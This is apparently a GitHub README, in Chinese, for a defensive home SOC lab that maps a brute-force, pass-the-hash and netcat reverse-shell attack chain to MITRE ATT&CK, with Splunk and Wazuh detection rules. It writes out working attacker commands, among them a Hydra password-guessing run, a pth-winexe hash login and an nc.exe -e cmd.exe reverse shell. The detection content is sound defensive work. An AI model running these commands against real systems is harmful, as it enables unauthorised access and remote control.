adipatil-0/attack-chain-detection-mitre

GitHub: adipatil-0/attack-chain-detection-mitre

在隔离实验室中模拟多阶段攻击链并提供配套 Splunk/Wazuh 检测规则与 MITRE ATT&CK 映射的 SOC 实战项目。

Stars: 0 | Forks: 0

# 攻击链检测:暴力破解 → 横向移动 → C2 (映射至 MITRE ATT&CK) ## 执行摘要 本项目在隔离的家庭 SOC 实验室中模拟了一个真实的多阶段攻击链 —— 凭据暴力破解、哈希传递横向移动以及通过反向 Shell 进行的 C2。每个阶段均映射至 MITRE ATT&CK,并为 Wazuh 和 Splunk 编写了检测规则,展示了端到端的 SOC 分析师检测工程技能。 ## 架构 (draw.io 描述) - **云/机器 1**: Kali Linux (攻击者) — 192.168.100.10 - **机器 2**: Windows 10 + Sysmon v15 (目标/受害者) — 192.168.100.20 - **机器 3**: Windows Server 2019 (域控) — 192.168.100.5 - **机器 4**: Wazuh Manager + Dashboard (SIEM) — 192.168.100.50 - **机器 5**: Splunk (日志分析) — 192.168.100.51 - 通过一个标签为 "Host-only vSwitch 192.168.100.0/24" 的交换机图标连接所有机器 - 箭头: Kali → Win10 (Hydra, PtH, Netcat), Win10/DC → Wazuh agent → Wazuh Manager → Splunk (forwarder) ## 完整攻击链表 | 步骤 | 操作 | EID/日志 | 技术 | 检测工具 | |------|--------|---------|-----------|-----------------| | 1 | 针对 RDP/SMB 的 Hydra 暴力破解 | Win EID 4625, 4624 | T1110.001 | Wazuh + Splunk | | 2 | Mimikatz 哈希传递 | Win EID 4624 (LogonType 9/3), Sysmon EID 10 | T1550.002 | Wazuh + Sysmon | | 3 | Netcat 反向 Shell C2 | Sysmon EID 1, 3; Zeek conn.log | T1071.001 | Wazuh + Zeek | ## 阶段 1:暴力破解 (T1110.001) **攻击者命令:** ``` hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://192.168.100.20 ``` **触发的日志:** Windows 安全 EID 4625 (登录失败) 洪水,随后在猜中时触发 4624 (成功)。 **MITRE 映射:** | 战术 | 技术 ID | 技术名称 | |--------|--------------|-----------------| | 凭据访问 | T1110.001 | 暴力破解:密码猜测 | **Splunk SPL:** ``` index=wineventlog EventCode=4625 | bin _time span=1m | stats count by _time, Account_Name, src_ip | where count > 10 ``` **Wazuh YAML 规则:** ``` - rule: id: 100110 level: 10 if_matched_sid: 60122 same_source_ip: true description: "Multiple failed RDP/SMB logons - possible brute force" mitre: id: T1110.001 options: alert_by_email ``` **误报:** 被锁定用户重试密码、配置错误的服务账号频繁发起认证。通过地理位置/IP 信誉和账号重要性进行验证。 ## 阶段 2:哈希传递横向移动 (T1550.002) **攻击者命令:** ``` pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.100.20 cmd ``` **触发的日志:** 带有 NTLM 认证的 EID 4624 LogonType 3/9,Sysmon EID 10 (进程访问 - mimikatz 读取 lsass.exe 内存)。 **MITRE 映射:** | 战术 | 技术 ID | 技术名称 | |--------|--------------|-----------------| | 横向移动 | T1550.002 | 使用备用身份验证材料:哈希传递 | **Splunk SPL:** ``` index=wineventlog EventCode=4624 LogonType=3 AuthenticationPackageName=NTLM | stats count by Account_Name, src_ip, dest | where count > 1 ``` **Wazuh YAML 规则:** ``` - rule: id: 100210 level: 12 if_sid: 92010 field: win.eventdata.targetImage pattern: lsass.exe description: "Possible LSASS access - credential dumping (Mimikatz PtH)" mitre: id: T1550.002 ``` **误报:** 合法的管理员工具 (任务管理器、防病毒软件) 访问 lsass.exe;通过已签名的进程哈希加入白名单。 ## 阶段 3:Netcat 反向 Shell C2 (T1071.001) **攻击者命令:** ``` nc -lvnp 4444 ``` **受害者 (通过 PtH Shell 执行):** ``` nc.exe 192.168.100.10 4444 -e cmd.exe ``` **触发的日志:** Sysmon EID 1 (进程创建: nc.exe),Sysmon EID 3 (到端口 4444 的网络连接),Zeek conn.log 在非标准端口上的记录。 **MITRE 映射:** | 战术 | 技术 ID | 技术名称 | |--------|--------------|-----------------| | 命令与控制 | T1071.001 | 应用层协议:Web 协议 | **Splunk SPL:** ``` index=sysmon EventCode=3 dest_port=4444 | table _time, Computer, Image, src_ip, dest_ip, dest_port ``` **Wazuh YAML 规则:** ``` - rule: id: 100310 level: 12 if_sid: 92003 field: win.eventdata.image pattern: nc.exe|ncat.exe description: "Netcat execution - possible reverse shell C2" mitre: id: T1071.001 ``` **误报:** 网络管理员出于合法排错目的使用 netcat;结合目的 IP 信誉 进行关联分析。 ## 如何复现 **前置条件:** - VMware Workstation,配置 host-only 网络 192.168.100.0/24 - Kali Linux (攻击者)、Windows 10 + Sysmon v15、Windows Server 2019 (域控) - Wazuh 4.7.x manager + agents,Splunk 免费版,运行在监控 tap 上的 Zeek **步骤:** 1. 部署隔离的 vSwitch 并为所有虚拟机分配静态 IP 2. 在 Windows 10 上安装 Sysmon (SwiftOnSecurity 配置) 3. 在 Windows 10 和域控上安装 Wazuh agent,并将其注册到 manager 4. 运行阶段 1 (Hydra) → 在 Wazuh 仪表板中验证 EID 4625 5. 运行阶段 2 (通过 pth-winexe/Mimikatz 进行 PtH) → 验证 Sysmon EID 10 6. 运行阶段 3 (Netcat) → 验证 Sysmon EID 1/3 和 Zeek conn.log 7. 将 SPL 查询导入 Splunk;将 Wazuh YAML 规则部署到 `local_rules.xml` ## 经验总结 - **技术层面**:Sysmon EID 10 (对 lsass.exe 的进程访问) 是凭据转储的高保真指标 —— 优先调整此规则。 - **技术层面**:将暴力破解 (4625 激增) 与随后的成功登录 (4624) 进行关联,可显著减少检测链中的误报。 - **软技能**:使用攻击者视角的命令记录每个阶段,提高了我在模拟 SOC 面试中解释攻击过程的能力。 - **流程层面**:逐步构建检测 (每次针对一种 ATT&CK 技术) 使得调试 Wazuh 规则语法变得轻松得多。
标签:SOC实验室, Wazuh, 安全运营, 扫描框架, 攻击模拟, 驱动签名利用